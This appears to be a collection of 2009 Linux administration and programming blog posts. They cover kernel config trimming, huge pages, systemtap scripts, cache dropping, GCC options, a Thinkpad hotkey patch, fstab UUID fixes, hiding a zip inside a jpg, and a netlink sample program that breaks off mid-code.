2009-06-28T02:54:00.000-07:00

Normally when building custom kernels for our laptops or desktops, we tend to make use of the kernel config file used by the particular distro. However the distro config files tend to be huge, having loads of modules turned on, ven those which might not even be needed on our particular laptop or desktop. This is the case since the distro kernels need to cater to a large configurations of systems. . This leads to the kernel taking ages to compile ! If you want to build your kernel fast, and turn off all those modules/drivers which are not needed on your system, streamline_config.pl script by Steven Rostedt is what you need (at the sametime ensuring that your kernel does have all that is necessary). Here is the thread where Steven explains how this script can be used. In brief,

Run the script with the arguement being your architecture's Kconfig file and save the output

# ./streamline_config.pl arch/x86/Kconfig > config_stream

Copy config_stream as your new .config and run 'make oldconfig' or 'make menuconfig' if you want to continue configuring the kernel. Your build would now take much lesser time !

Note: If you already have a .config file that has some of your custom config options set and you want to streamline that, no worries as streamline_config.pl will work on that .config itself (provided its present in the kernel src dir). You might still want to take a backup of your .config [;-)]

Using large pages

2009-06-21T22:17:00.000-07:00

Linux has had support for large pages (also called huge pages) for a long time now. The size of large pages supported depends on the platform. For example, on Intel it has mostly been 2MB. Large pages offer the advantage of having fewer entries in the TLB and thus fewer cache misses. However, it could lead to more wastage of memory and fragmentation. Many applications typically use large pages for certain designation functions. For example, if supported and required number available, JVM heap is composed of large pages.

An application can request large pages using the shmget API:

#include <sys/ipc.h>

#include <sys/shm.h>

int shmget(key_t key, size_t size, int shmflg);

The SHM_HUGETLB flag part of shmflg field specifies creation of large pages.

Linux kernel provides an interface using which large pages can be requested.

#echo 1000 > /proc/sys/vm/nr_hugepages

The above causes 1000 large pages to be allocated by the kernel. More information on large pages can be obtained from the /proc fs:

#cat /proc/meminfo

MemTotal: 8114308 kB
MemFree: 5867312 kB
Buffers: 8412 kB
Cached: 107304 kB
SwapCached: 0 kB
Active: 48000 kB
Inactive: 87592 kB
Active(anon): 22704 kB
Inactive(anon): 0 kB
Active(file): 25296 kB
Inactive(file): 87592 kB
Unevictable: 0 kB
Mlocked: 0 kB
SwapTotal: 4883752 kB
SwapFree: 4883752 kB
Dirty: 48 kB
Writeback: 36 kB
AnonPages: 20212 kB
Mapped: 10948 kB
Slab: 25988 kB
SReclaimable: 12916 kB
SUnreclaim: 13072 kB
PageTables: 2400 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 7916904 kB
Committed_AS: 46040 kB
VmallocTotal: 34359738367 kB
VmallocUsed: 43496 kB
VmallocChunk: 34359693843 kB
HugePages_Total: 1000
HugePages_Free: 1000
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB
DirectMap4k: 3824 kB
DirectMap2M: 8384512 kB

On a NUMA system, the kernel splits large page allocations equally across the different nodes. For example, if the system has 2 nodes, a request of 1000 large pages would get split into 500 pages from each node. Per node large page information can be obtained from the /sys interface:

# cat /sys/devices/system/node/node0/meminfo

Node 1 MemTotal: 4194304 kB
Node 1 MemFree: 40004 kB
Node 1 MemUsed: 4154300 kB
Node 1 Active: 2166524 kB
Node 1 Inactive: 810704 kB
Node 1 Active(anon): 2127084 kB
Node 1 Inactive(anon): 8360 kB
Node 1 Active(file): 39440 kB
Node 1 Inactive(file): 802344 kB
Node 1 Unevictable: 0 kB
Node 1 Mlocked: 0 kB
Node 1 Dirty: 0 kB
Node 1 Writeback: 0 kB
Node 1 FilePages: 841792 kB
Node 1 Mapped: 11008 kB
Node 1 AnonPages: 2135884 kB
Node 1 PageTables: 5136 kB
Node 1 NFS_Unstable: 0 kB
Node 1 Bounce: 0 kB
Node 1 WritebackTmp: 0 kB
Node 1 Slab: 33704 kB
Node 1 SReclaimable: 30708 kB
Node 1 SUnreclaim: 2996 kB
Node 1 HugePages_Total: 500
Node 1 HugePages_Free: 498
Node 1 HugePages_Surp: 0

Recently, in one of the benchmarks (JAVA benchmark) I was running, I was seeing a huge performance degradation of about 6-8%. After some debugging, the issue turned out to be that the application was not able to utilize the large pages allocated (thanks to some weird environment I had ;-) ). To find out the number of large pages being utilized by the app, besides the above meminfo output, you can also use numa_maps. For example,

# cat /proc/<process pid>/numa_maps

00001000 default anon=1 dirty=1 N0=1
00400000 default file=<....library file info..> mapped=10 mapmax=3 N0=10
0050b000 default file=<....library file info..> anon=1 dirty=1 N0=1
0050c000 default heap anon=213 dirty=213 N0=213
00600000 default file=/SYSV00000000\040(deleted) huge dirty=472 N0=472
40600000 default
40601000 default anon=2 dirty=2 N0=2
40641000 default
40642000 default anon=4 dirty=4 N0=4
40682000 default
40683000 default anon=2 dirty=2 N0=2
4090f000 default
40910000 default anon=3 dirty=3 N0=3
40a68000 default
40a69000 default anon=4 dirty=4 N0=4
40a70000 default
40a71000 default anon=2 dirty=2 N0=2
40ab1000 default
40ab2000 default anon=2 dirty=2 N0=2
.....

41fc9000 default anon=10 dirty=10 N0=10
427c9000 default anon=535 dirty=535 N0=535
2aaaaac00000 default file=/SYSV00000000\040(deleted) huge dirty=1 N0=1
7f6024000000 default anon=5578 dirty=5578 N0=5578
7f6027398000 default
7f602a402000 default anon=821 dirty=821 N0=821

Useful staps to track task movement across CPUs

2009-06-19T04:51:00.000-07:00

Quite sometime back, I was faced with a situation where I needed to track instances when a particular task was being migrated away from a cpu. It was in the context of a real-time system, where a real-time task was facing huge context switch delays. Obvious suspect being the scheduler, I used systemtap to infer a few things, besides other debugging:

To find if the task was being migrated away to some other cpu, used the following trivial stap script:

/* Filename: migrate.stp
* Author: Ankita Garg <ankita@in.ibm.com>
* Description: Captures information on the migration of threads
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* © Copyright IBM Corp. 2009. All Rights Reserved.
*
*/

probe kernel.function("__migrate_task")
{
if(($1 != 0 ) && (tid() == $1)) {
printf ("thread %d (%s) is migrating from %d to %d \n", $p->pid,
kernel_string($p->comm), $src_cpu, $dest_cpu);
}
}

Below is a script that tracks all the cpus that a particular task ran on. Pl note it does not track the context switches.

/* Filename: chng_cpu.stp
* Author: Ankita Garg <ankita@in.ibm.com>
* Description: Captures information on the number of times java thread
* switches cpu
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* © Copyright IBM Corp. 2009. All Rights Reserved.
*
*/

global threads

probe kernel.function("finish_task_switch")
{
if ((threads[tid()] != cpu()) && (tid() != 0) && (execname() == @1)) {
printf("thread %d (%s) context switched on %d \n",
tid(), execname(), cpu());
printf("state: %d\n", task_state(task_current()))
print_stack(backtrace())
}
threads[tid()] = cpu();
}

These are a bit older techniques, as now there is a new tracepoints infrastructure which can do these things. But on older kernels, the above would be useful. Expect more posts on kernel RAS features in due time.

Importing .ics into Lotus Notes 8

2009-06-18T22:47:00.000-07:00

A number of times I get calender invites for meetings on my non-Lotus notes email IDs. The calender invites are normally in the .ics format. Once can easily import it into Lotus Notes. Here is how:

Compose a mail inside notes
Attach the .ics file to it
Right click the attachment, and click on "View"
The calender view would open, with the meeting details. Now accept/decline the invite, save and exit

Voila, the entry gets saved to your calender. Ofcourse, there might be other ways to achieve this in notes :-)

Free up that memory

2009-06-18T21:52:00.000-07:00

Recently came across this cool interface in the Linux kernel. Typically, the memory might be over-provisioned on the system. Instead of wasting the memory, the kernel normally utilizes a lot of it for page cache, dentry cache and inodes. These caches speed I/O operations and improves performance. However, there are cases when large amount of memory might actually be needed by the apps. While most of the cache pages could be easily reclaimed, there is obviously some overhead involved (the pages could be dirty and might have to written back to the disk, thus incurring disk write latency). Linux has a neat kernel.. so now, while it uses its smart to utilize the memory well, it also provides a method for people to indicate that they do not want the kernel to use its smarts ;-)

To free memory, just do the following:

# echo 1 > /proc/sys/vm/drop_caches

(the above frees only page cache)

# echo 2 > /proc/sys/vm/drop_caches

(for freeing dentry caches and inodes)

# echo 3 > /proc/sys/vm/drop_caches

(for freeing all of the above)

It would be advisable to first do a 'sync' before dropping the caches, so that all the dirty pages could be acted upon.

Simplifying GCC

2009-05-30T09:20:00.000-07:00

GCC is the GNU Compiler Collection which provides C, C++ etc compilers. These compilers are used by default in all *nixes .

Here i provide simple command line options which can prove to be quite useful.

The simplest way to use GCC to compile a C source file is

$ gcc -o test test1.c test2.c

gcc is the C compiler, test1.c and test2.c are the input C source files and -o lets us specify the name of the output file. Here it is "test". Without the -o option, "a.out" is the default executable that gets created.
The preprocessor:

$ gcc -E test.c > test.out

This option, ensures the compilation process stops after the pre-processor has run. This helps us in figuring out issues/problems in macros.
The Compiler:

$ gcc -c test.c -o test.o

This option ensures the compilation process completes but doesn't invoke the linker/loader. This is useful if you want to just remove compilation warnings and errors.
Header Files:

$gcc -c test.c -I /location/of/header/files -o test

Many a times the headers files you want to use, is located is some other directory. A "bad" practice followed is to include the direct path of the header files in the C src file.
Instead use this option. It tells the compiler which directories to look in for the mentioned header files. The -I options can be used multiple times for multiple directories where header files are located.
Library Files:

$ gcc -c test.c -lpthread -L /usr/lib/libpthread

Another requirement that is frequently required is using standard libraries ( NPTL Threads etc) or non-standard ones (expat etc). '-l' option tells which library to use while linking while '-L' tells where the find this library. In the above example during linking, it will search for pthread library in the dir /usr/lib/libpthread.
Warnings, Errors, etc:

$gcc test.c -o test -Wall -Werror

-Wall options shows all warnings that are typically not shown during regular compilation. These errors are easy fixable like "Unused varniables", "implicit function declaration" etc. -Werror options tells the compiler to treat all warnings as errors and stop compilation instantly.
Sometimes -Werror can be too strict for our purpose. Instead you can treat only certain warnings are errors.
eg. -Werror-implicit-function-declaration: Treat only implicit function declaration warnings as errors. For more such options check the gcc man pages.
Debugging:

$gcc -g test.c -o test

This option activates all the debugging symbols. This is required if one plans to use gdb for debugging (which is mostly the case).
Optimizations:
$gcc -O2 test.c -o test

This option lets the compiler optimize the code . -O can take 0,1,2 levels of optimizations.
More info is available in the man pages of gcc.

These options are the ones that are most frequently used. Obviously there are many more options available . Use them as per your needs and refer the man pages for the exhaustive list of options.

Fix Thinkpad Function Keys/Hot Keys in kde 4.2 (Jaunty) - patch to display brightness levels.

2009-05-19T02:13:00.000-07:00

A small patch for the script to display the brightness level of your Thinkpad display with the brightness Increase/Decrease keys.

--- softkeys.py 2009-05-08 11:51:28.000000000 +0530
+++ softkeys-0.1.py     2009-05-19 12:43:58.000000000 +0530
@@ -1,6 +1,7 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright: 2009 by Tillmann Falck <tillmann _at_ falcken _dot_ de>
+# Uttaran Dutta added the funtion for the display for the brightness for T60p <linux-hacks.blogspot.com>
# License: GPL v2 or later

from Xlib.display import Display
@@ -16,8 +17,11 @@
XF86Battery = 244
XF86Display = 235
KeyUndock = 202
+XF86MonBrightnessDown = 232
+XF86MonBrightnessUp = 233

-keys = [XF86Sleep, XF86Standby, XF86Screensaver, XF86Battery, XF86Display, KeyUndock]
+
+keys = [XF86Sleep, XF86Standby, XF86Screensaver, XF86Battery, XF86Display, KeyUndock, XF86MonBrightnessDown, XF86MonBrightnessUp]

def callDisplay():
   try:
@@ -63,6 +67,14 @@
     print >>sys.stderr, 'Error while trying to change output, try full auto'
     os.system('xrandr --auto')

+def briStats(bus):
+ bri = bus.get_object( \
+    'org.freedesktop.Hal', \
+    '/org/freedesktop/Hal/devices/computer_backlight')
+ briLevel = (bri.GetBrightness(dbus_interface='org.freedesktop.Hal.Device.LaptopPanel')*100)/(bri.GetProperty('laptop_panel.num_levels', dbus_interface='org.freedesktop.Hal.Device')-1)
+ s = 'Brightness level is %d%% <br />' % (briLevel)
+ return s
+
def acStats(bus):
   ac = bus.get_object( \
     'org.freedesktop.Hal', \
@@ -91,6 +103,26 @@
     s = 'Battery %d level %d%%<br />' % (n+1, batLevel)
   return s

+def callBrightness():
+ try:
+    sessBus = dbus.SessionBus()
+    sysBus = dbus.SystemBus()
+
+    hal = dbus.Interface( \
+      sysBus.get_object('org.freedesktop.Hal', \
+        '/org/freedesktop/Hal/Manager'), \
+      dbus_interface='org.freedesktop.Hal.Manager')
+
+    s = briStats(sysBus)
+    ea = dbus.Array([], 's')
+    notify = sessBus.get_object('org.kde.VisualNotifications', '/VisualNotifications')
+    notify.Notify('brightness information',0,'brightness information','','Brightness Information', \
+      s,ea,ea,5000, \
+      dbus_interface='org.kde.VisualNotifications')
+ except:
+    print >>sys.stderr, 'No notifications or no information'
+
+
def callBattery():
   try:
     sessBus = dbus.SessionBus()
@@ -101,6 +133,7 @@
         '/org/freedesktop/Hal/Manager'), \
       dbus_interface='org.freedesktop.Hal.Manager')

+    briStats(sysBus)
     if hal.DeviceExists('/org/freedesktop/Hal/devices/computer_power_supply_ac_adapter_AC'):
       ac = acStats(sysBus)
     else:
@@ -197,6 +230,8 @@
     callSuspend()
   elif event.detail == KeyUndock:
     callUndock()
+ elif event.detail == XF86MonBrightnessUp or event.detail == XF86MonBrightnessDown:
+    callBrightness()
   else:
     print >>sys.stderr, "Key %d not handeled" % event.detail

Note- The patch just enables the display changing for display brightness should be already working through acpi.

Fix Thinkpad Function Keys/Hot Keys in kde 4.2 (Jaunty)

2009-05-08T02:56:00.000-07:00

Function keys doent work by default in kde 4.2. Those who migrate from gnome to kde 4 find it difficult to adjust without the 'fn' keys. The problem is with powerdevil. The new applet does not have options to configure the acpi events. This will exits till powerdevil is fixed. As of now, we can use a python script to handle these events. Make sure python-2.6, python-dbus and python-xlib are installed in your system. Download the script from here or here.
Give exe permission
#chmod +x softkeys.py

Place the script in ~/.kde/Autostart/ and restart your system. The function keys must start working now.

Create Desktop Shortcuts Using Cmd Line On KDE 4.2

2009-04-30T01:43:00.000-07:00

Here is a quick way to create desktop shortcuts for kde 4.2.
/usr/share/applications/ and /usr/share/applications/kde4 contains all the shortcut files (*.desktop).

Just copy what ever you want to ~/Desktop. Thats it!

fsck.ext3 Unable to resolve UUID error

2009-04-28T20:40:00.000-07:00

I installed Kubuntu 9.04 recently and within a day i ran into a peculiar problem. When i boot my system an error message "fsck.ext3 Unable to resolve UUID=". This error generally happens when there is some information mismatch between what is specified in /etc/fstab and what information the OS gives to fsck utility. In this case, its quite easy to solve the problem.

Enter the root password to enter the Maintenance mode when asked during boot.

(Control - D to continue):

List the partition table of your system.

#fdisk -l

Device Boot Start End Blocks Id System
/dev/sda1 * 1 1913 15361888+ 83 Linux
Partition 1 does not end on cylinder boundary.
/dev/sda2 1914 3186 10225372+ 83 Linux
/dev/sda3 3187 12161 72091687+ 5 Extended
/dev/sda5 3187 9265 48829536 83 Linux
/dev/sda6 9266 11697 19535008+ 83 Linux
/dev/sda7 11698 12161 3727048+ 82 Linux swap / Solaris

#vim /etc/fstab

Verify that each device entry specified in the file matches the correct file-system.This error can occur if FS type is wrongly specified. For example, /dev/sda7 is shown as ext3 FS when it clearly a swap in the above case. Correct such errors and reboot. This should solve the problem.

If the entries are correct then, possible problem lies in the UUID specified in fstab. To solve this problem

Determine the UUID of each and every device mentioned in fstab. This exmaple shows for sda1. Repeat this for all devices.

#vol_id -u /dev/sda1
b056f084-eb83-4374-9635-0b5904ff520a

A line taken from my fstab
# /virt was on /dev/sda1 during installation
UUID=b056f084-eb83-4374-9635-0b5904ff520a /virt ext3 relatime 02

Note that UUID matches the entry in fstab. If there is a mismatch, then the entry shown by fstab must be replaced by vol_id. Thats it! save and reboot. This will solve the problem.

REASON: The problem was solved but i was not sure what caused this problem. On further analysis i was able to narrow down on what caused the issue. Apparently, i did a format of a partition (/dev/sda1) which is NOT the / partition using gpartd. Gpart does not allow formats on mounted partitions, so the tools unmounts the partition and formats it. During this step, udev recognizes the new formated device as a new device and old one being removed(formated). Hence it assigned a new UUID which is now not same the one specified in /etc/fstab. Thats why on reboot i ran into this issue.

Change/Resassign Interface Name In Linux

2009-04-28T03:44:00.000-07:00

Depending on the linux distro, the interface name given to network cards differ.
For example, on one distro Intel Giga bit Ethernet card might be detected as eth0 and Broadcom card as eth1 while with another distro this might be reversed. This causes a lot of problem, when one uses automated scripts which hardcode "eth0" and "eth1". In older distros it was matter of changing few network scripts to get this working. One can also use "ip" command to make this change temporarily. But to make it permanent it needs to be changed in udev. Here is how simple it is to change the ethernet names.
NOTE: This is only tested on F-10 and Ubuntu 9.04. Its expected to be the same for other distros. Only the name of the udev script might change.

Edit the rule script:

#vim /etc /udev/rules.d/70-persistent-net.rules

Here the list of n/w adapters and their names are specified!
Change the field NAME="eth0" to NAME="eth1" or vice versa
Remember to rename the other adapter whose name you have borrowed.
Restart the system and you will find the new names interchanged!

Sametime on Koepete

2009-03-13T04:13:00.000-07:00

Last year cheezo had blogged about getting pidgin to support sametime protocol. It was great, but as KDE guy i missed it on Kopete. Its only recently i got myself to try it & viola it worked with just a little effort. I have the latest versions of these packages on my KDE 4.2.1 intrepid box (yes i live the bleeding edge tech, but any version of KDE 4.1.x which supports kdenetwork - 4:4.1.80-0ubuntu1 should do the job).

- kopete 4:4.2.1-0ubuntu1~intrepid1
- libmeanwhile1 1.0.2-3+ocdc3+intrepid (I got it from ocdc repo, libmeanwhile is also there in ubuntu multiverse)
- kopete-meanwhile 0.1-0ubuntu2, (optional, can be downloaded from here.)

With the above all installed you should see the "Meanwhile" as one of the options in the _messaging services_ list in Kopete. Add a new account & continue with the username & password in the pretty straightforward _Basic Setup_ tab. The only tweaking required was the "Client Identifier" info in the _Connections_ tab. Use the option & no.s in the shot below.

With that you should be good to go.

--
Enjoy

Why linux keeps connected routes when link goes down?

2009-02-24T02:13:00.000-08:00

I came across this interesting discussion on a particular behavior of linux. This issues was brought up by a system administrator who was facing an interesting situation. When the link of an interface goes down possibly due to hardware failure or cable pull out, the ip address and routes associated with that interface is retained until someone explicitly deletes it. This behavior is built into linux for more than 10 years and the reason for this was stated by David Miller.

The default behavior for a general purpose operating system is
to increase the likelyhood of successful communication.

And the way to maximize successful communication is to associate
addresses with the host rather than the interface.

It becomes clear why the developers decided to go with associating ip address with a particular node rather than an interface in the node. The problem with this implementation is relevant when linux is being used as a router. A router is a multi-homed host and tends to have multiple interfaces each connected to different network. So if a situation arises where the router finds a route entry to send a particular packet there are chances that the link may be down and packet never reaches the destination. Even if there are alternated routes to reach the particular destination it cannot be used as there is already an existing valid route with a interface that is down. Lennart Sorensen argued against David Miller's claim that different interface of the router might be connected to same network in which case the alternate interface can be taken. According to Lennart it still useless as we would end up having 2 route entries to the same destination with different interfaces and would pose the same problem when the first route entry points to an interface which is down. The no conclusion to this little problem as David points out in his replay to Lennart.

This decision was made at least 10 years ago, and if you think what we
have now is broken just imagine how much struff would explode if we
changed things.

All is not lost in this regard for people using linux as router. Stephen Hemminger suggested using quagga for this purpose. There are patches submitted to the quagga mailing list which does what Lennart wants without any modification to the kernel behaviour. Unfortunately those patches are not yet upstream in the quagga branch and has to be applied as patch. So in future would quagga become the routing management daemon for linux? Thats something we need to watch out.

Theory Behind Hiding Zipped File Under Jpg Image

2009-02-03T00:26:00.000-08:00

The post Hiding Zipped File Under Jpg Image showed the steps to achieve data hiding in jpg. Since Ego was questioning the theory behind this, i decided to get my hands dirty and find the answer. To understand this, we need to understand the data structures of jpg image and zip files.
Lets bisect the jpg image first.
Jpg Header Format:



Start of Image (SOI) marker -- two bytes (FFD8)
JFIF marker (FFE0)

  * length -- two bytes
  * identifier -- five bytes: 4A, 46, 49, 46, 00 (the ASCII code equivalent of a zero terminated "JFIF" string)
  * version -- two bytes: often 01, 02
        o the most significant byte is used for major revisions
        o the least significant byte for minor revisions

  * units -- one byte: Units for the X and Y densities
        o 0 => no units, X and Y specify the pixel aspect ratio
        o 1 => X and Y are dots per inch
        o 2 => X and Y are dots per cm
  * Xdensity -- two bytes
  * Ydensity -- two bytes
  * Xthumbnail -- one byte: 0 = no thumbnail
  * Ythumbnail -- one byte: 0 = no thumbnail
  * (RGB)n -- 3n bytes: packed (24-bit) RGB values for the thumbnail pixels, n = Xthumbnail *
     Ythumbnail

The bold words in the above header is of importance to us. The 4 byte value consisting of SOI and JFIF marker. This signifies the starting of the jpg image. Any standard image viewer searches the file for "d8ff e0ff" (little endian mode) pattern. Once this of found, marks the start of the jpg image. The end of the jpg image is marked with "0xd9ff" (little endian mode). A cat on the image is going to make sure that some data is written after 0xd9ff there by making it unnecessary for any image viewer to bother about data after 0xd9ff.

Lets look at the zip header format.
Overall .ZIP file format:



[local file header 1]
[file data 1]
[data descriptor 1]
.
.
.
[local file header n]
[file data n]
[data descriptor n]
[archive decryption header]
[archive extra data record]
[central directory]
[zip64 end of central directory record]
[zip64 end of central directory locator]
[end of central directory record]

The one that concerns us is local file header

Local file header:

local file header signature 4 bytes (0x04034b50)
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes

file name (variable size)
extra field (variable size)

As seen in the bold letters is the signature of the start of the zip file. So the unzip program tries to find the above pattern in the file and assumes that the rest of the file till "end of central dir record" is reached. This explains why tar.gz or tar.bz2 files don't work while zip does. In other words, the gz/bz2 formats look for starting 4 bytes as identifiers and if not found will quit immediately.
The following example will illustrate the file layout of the various file formats.
Example: Generated using hexdump
Image file (jpg):

0000000 d8ff e0ff 1000 464a 4649 0100 0001 0100
0000010 0100 0000 dbff 8400 1000 0c0b 0c0e 100a
.
.
0005b50 4792 d9ff
0005b54

As discussed, the hex value in bold indicates the start of the jpg file. Now lets look at the zip file.
Zip file (.zip):

0000000 4b50 0403 0014 0000 0008 776b 3a41 d8d9
0000010 00d8 1109 000c 2c00 000d 0009 0015 6f77
.
.
00c1190 0100 0100 4400 0000 4500 0c11 0000 0000
00c119f

After the concatenation, the file now consists of both jpg and zip content as shown below.
Embedded Image File (jpg):

0000000 d8ff e0ff 1000 464a 4649 0100 0001 0100
0000010 0100 0000 dbff 8400 1000 0c0b 0c0e 100a
.
.
.
0005b50 4792 d9ff 4b50 0403 0014 0000 0008 776b
0005b60 3a41 d8d9 00d8 1109 000c 2c00 000d 0009
.
.
00c6ce0 0006 0000 0100 0100 4400 0000 4500 0c11
00c6cf0 0000 0000
00c6cf3

This little example must be able to clear out the doubts of how this works. Next step would be to manipulate the hex file to make zip program believe that jpg data is the zipped data. Stay tuned for more on this.

Hiding Zipped Files Under Jpg Images

2009-02-02T21:09:00.000-08:00

Sometimes we come across situations when we have to hide certain files. There are many methods in which this can be accomplished. This is one of the many ways to do so. This applies to only zip file contents.

Step 1: Zip the file/folder to be hidden

#zip xyz.ppt.zip xyz.ppt

Lets assume that abc.jpg is the image we are using for the camouflage.

Step 2: Hide the zipped contents

#cat abc.jpg xyz.ppt.zip > new.jpg

The new.jpg will be jpg file that hides the zipped content. The file will have meta data as jpg and any image viewer will be able to open it.

To extract the hidden contents:

#unzip new.jpg

Vola!! Thats it. Its as simple as it is! Thanks to Naveed for this tip.

Sample Code To Learn Netlink Infrastructure

2009-01-28T03:15:00.000-08:00

I always wanted to write an article explaining how netlink infrastructure works in the kernel and how we can make the best use of it. I dont have the time now, so in future it will happen. As of now i wanted to share a sample code that will help users get the system ip information to the user space.


#include <errno.h>
#include <error.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>


#define NIPQUAD(addr) \
        ((unsigned char *)&addr)[0], \
        ((unsigned char *)&addr)[1], \
        ((unsigned char *)&addr)[2], \
        ((unsigned char *)&addr)[3]

#define NIPQUAD_FMT "%u.%u.%u.%u"

#define NIP6(addr) \
        ntohs((addr).s6_addr16[0]), \
        ntohs((addr).s6_addr16[1]), \
        ntohs((addr).s6_addr16[2]), \
        ntohs((addr).s6_addr16[3]), \
        ntohs((addr).s6_addr16[4]), \
        ntohs((addr).s6_addr16[5]), \
        ntohs((addr).s6_addr16[6]), \
        ntohs((addr).s6_addr16[7])

#define NIP6_FMT "%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x"

#define INFINITY_LIFE_TIME      0xFFFFFFFFU

main()

{
      struct {
              struct nlmsghdr n;
              struct ifaddrmsg r;
//              char             buf[1024];                
      } req;

      struct rtattr *rta;
      struct sockaddr_in6 *sin6p;
      struct sockaddr_in *sinp;
      int status;
      char buf[16384];
      struct nlmsghdr *nlmp;
      struct ifaddrmsg *rtmp;
      struct rtattr *rtatp;
      int rtattrlen;
      struct in_addr *inp;
      struct in6_addr *in6p;
      struct ifa_cacheinfo *cache_info;

      int fd = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);

      /* We use RTM_GETADDR to fetch the ip address from the kernel interface table *
         * So what we do here is pretty simple, we populate the msg structure (req)   *
         * the size of the message buffer is specified to netlink message header, and *
         * flags values are set as NLM_F_ROOT | NLM_F_REQUEST. The request flag must  *
         * be set for all messages requesting the data from kernel. The root flag is  *
         * used to notify the kernel to return the full tabel. Another flag (not used)*
         * is NLM_F_MATCH. This is used to get only speficed entried in the table.    *
         * At the time of writing this program this flag is not implemented in kernel */

      memset(&req, 0, sizeof(req));
      req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifaddrmsg));
      req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ROOT;
      req.n.nlmsg_type = RTM_GETADDR;


      /* AF_INET6 is used to signify the kernel to fetch only ipv6 entires.         *
        * Replacing this with AF_INET will fetch ipv4 address table.                 */

      req.r.ifa_family = AF_INET6;

      /* Fill up all the attributes for the rtnetlink header. The code is pretty easy*
        * to understand. The lenght is very important. We use 16 to signify the ipv6  *
       * address. If the user chooses to use AF_INET (ipv4) the length has to be     *
        * RTA_LENGTH(4) */

      rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
      rta->rta_len = RTA_LENGTH(16);

      /* Time to send and recv the message from kernel */

      status = send(fd, &req, req.n.nlmsg_len, 0);

      if (status < 0) {
              perror("send");
              return 1;
      }

      status = recv(fd, buf, sizeof(buf), 0);

      if (status < 0) {
              perror("recv");
              return 1;
      }

      if(status == 0){
              printf("EOF\n");
              return 1;
      }

      /* Typically the message is stored in buf, so we need to parse the message to *
        * get the required data for our display. */

      for(nlmp = (struct nlmsghdr *)buf; status > sizeof(*nlmp);){
              int len = nlmp->nlmsg_len;
              int req_len = len - sizeof(*nlmp);

              if (req_len<0 || len>status) {
                      printf("error\n");
                      return -1;
              }

              if (!NLMSG_OK(nlmp, status)) {
                      printf("NLMSG not OK\n");
                      return 1;
              }

              rtmp = (struct ifaddrmsg *)NLMSG_DATA(nlmp);
              rtatp = (struct rtattr *)IFA_RTA(rtmp);

              /* Start displaying the index of the interface */

              printf("Index Of Iface= %d\n",rtmp->ifa_index);

              rtattrlen = IFA_PAYLOAD(nlmp);

              for (; RTA_OK(rtatp, rtattrlen); rtatp = RTA_NEXT(rtatp, rtattrlen)) {
     
               /* Here we hit the fist chunk of the message. Time to validate the    *
                 * the type. For more info on the different types see man(7) rtnetlink*
                 * The table below is taken from man pages.                           *
                 * Attributes                                                         *
                 * rta_type        value type             description                 *
                 * -------------------------------------------------------------      *
                 * IFA_UNSPEC      -                      unspecified.                *
                 * IFA_ADDRESS     raw protocol address   interface address           *
                 * IFA_LOCAL       raw protocol address   local address               *
                 * IFA_LABEL       asciiz string          name of the interface       *
                 * IFA_BROADCAST   raw protocol address   broadcast address.          *
                 * IFA_ANYCAST     raw protocol address   anycast address             *
                 * IFA_CACHEINFO   struct ifa_cacheinfo   Address information.        */

                      if(rtatp->rta_type == IFA_CACHEINFO){
                              cache_info = (struct ifa_cacheinfo *)RTA_DATA(rtatp);
                              if (cache_info->ifa_valid == INFINITY_LIFE_TIME)
                                      printf("valid_lft forever\n");
                              else
                                      printf("valid_lft %usec\n", cache_info->ifa_valid);
  
                              if (cache_info->ifa_prefered == INFINITY_LIFE_TIME)
                                      printf(" preferred_lft forever\n");
                              else
                                      printf(" preferred_lft %usec\n",cache_info->ifa_prefered);
                      }

                      /* NOTE: All the commented code below can be used as it is for ipv4 table */

                      if(rtatp->rta_type == IFA_ADDRESS){
                              // inp = (struct in_addr *)RTA_DATA(rtatp);
                              in6p = (struct in6_addr *)RTA_DATA(rtatp);
                              printf("addr0: " NIP6_FMT "\n",NIP6(*in6p));
                              // printf("addr0: "NIPQUAD_FMT"\n",NIPQUAD(*inp));
                      }

                      if(rtatp->rta_type == IFA_LOCAL){
                              // inp = (struct in_addr *)RTA_DATA(rtatp);
                              in6p = (struct in6_addr *)RTA_DATA(rtatp);
                              printf("addr1: " NIP6_FMT "\n",NIP6(*in6p));
                              // printf("addr1: "NIPQUAD_FMT"\n",NIPQUAD(*inp));
                      }

                      if(rtatp->rta_type == IFA_BROADCAST){
                              // inp = (struct in_addr *)RTA_DATA(rtatp);
                              in6p = (struct in6_addr *)RTA_DATA(rtatp);
                              printf("bcataddr: " NIP6_FMT "\n",NIP6(*in6p));
                              // printf("Bcast addr: "NIPQUAD_FMT"\n",NIPQUAD(*inp));
                      }

                      if(rtatp->rta_type == IFA_ANYCAST){
                             //inp = (struct in_addr *)RTA_DATA(rtatp);
                             in6p = (struct in6_addr *)RTA_DATA(rtatp);
                             printf("anycastaddr: "NIP6_FMT"\n",NIP6(*in6p));
                            // printf("anycast addr: "NIPQUAD_FMT"\n",NIPQUAD(*inp));
                      }

              }
